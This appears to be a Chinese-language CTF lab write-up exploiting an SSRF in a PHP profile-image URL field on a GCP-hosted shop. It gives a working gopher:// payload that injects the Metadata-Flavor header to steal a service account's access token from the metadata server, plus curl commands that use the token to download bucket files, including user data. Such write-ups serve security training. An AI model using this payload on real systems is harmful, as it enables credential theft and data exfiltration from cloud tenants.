CD's second night

GCP-Exploit SSRF with Gopher for GCP Initial Access

type
status
date
slug
summary
tags
category
icon
password
给了一个IPV4:35.226.245.121
直接访问是个web站点
CTRL + U 查看源代码发现一个存储桶 https://storage.googleapis.com/gigantic-retail/shop/image4.jpg
跟之前一样 还是没有权限
 
慢慢点击发现一个profile.php
notion image
允许我们更新各种详细信息并设置个人照片。而且并没有要求我们上传图片,而是要求我们提供图片的 URL 路径。如果后端 PHP 代码没有对用户提供的输入进行充分验证,这看起来像是一个潜在的 SSRF(服务器端请求伪造)漏洞。
notion image
尝试访问内部服务 metadata元数据接口:http://metadata.google.internal/computeMetadata/v1/project/project-id
提示没有权限:
notion image
因为我们缺少自定义 Metadata-Flavor:Google HTTP 头信息。 如果我们在发送给服务器的请求中包含这个标头会怎样呢?那是行不通的,因为它需要在强制服务器请求中设置。
想到我们是PHP 支持gopher 我们可以将 HTTP 请求封装在 Gopher URL 中 gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/<snip>[email protected]/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a
分析一下这个payload
      协议和目标: gopher://metadata.google.internal:80/ - 有效负载的这一部分指定使用 Gopher 协议向 80 端口上的 metadata.google.internal 发出请求。如前所述, metadata.google.internal 是 Google 云服务内部使用的特殊域,用于向虚拟机实例提供元数据信息。
  1. Crafted Request:
      • GET /computeMetadata/v1/instance/service-accounts/<service-account>/token - 这是向谷歌云元数据服务 API 提出的 GET 请求,要求提供与服务帐户相关联的访问令牌。我们需要找出与虚拟机关联的服务帐户。
      • %2520HTTP%252f%2531%252e%2531 - 这是 " HTTP/1.1" 的编码形式
      • %250AHost:%2520metadata.google.internal - 这是一个指定主机的编码头。
      • %250AAccept:%2520%252a%252f%252a - Accept(接受)字段的编码头,表示在响应中可接受任何媒体类型。
      • %250aMetadata-Flavor:%2520Google - 最重要的,这将设置访问元数据服务所需的标头。
 
尝试一下: 成功获取到名为 [email protected] 的自定义服务帐户
notion image
然后在有效载荷中添加 [email protected]/token 我们将获得服务账户的访问令牌! gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/[email protected]/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a
notion image
我们可能会想到在谷歌云 CLI (gcloud) 中使用令牌,但 gcloud 通常依赖服务账户密钥文件(JSON 格式)或用户账户凭据来进行身份验证,而不是访问令牌。不过我们可以设置 GOOGLE_ACCESS_TOKEN 环境变量,并使用 cURL 向 GCP API 端点发出经过验证的请求 用它来查看存储桶内容
拿到接mediaLink 字段提供的下载对象的直链。 https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media
curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN" "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media"
flag curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN" "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt"
Loading...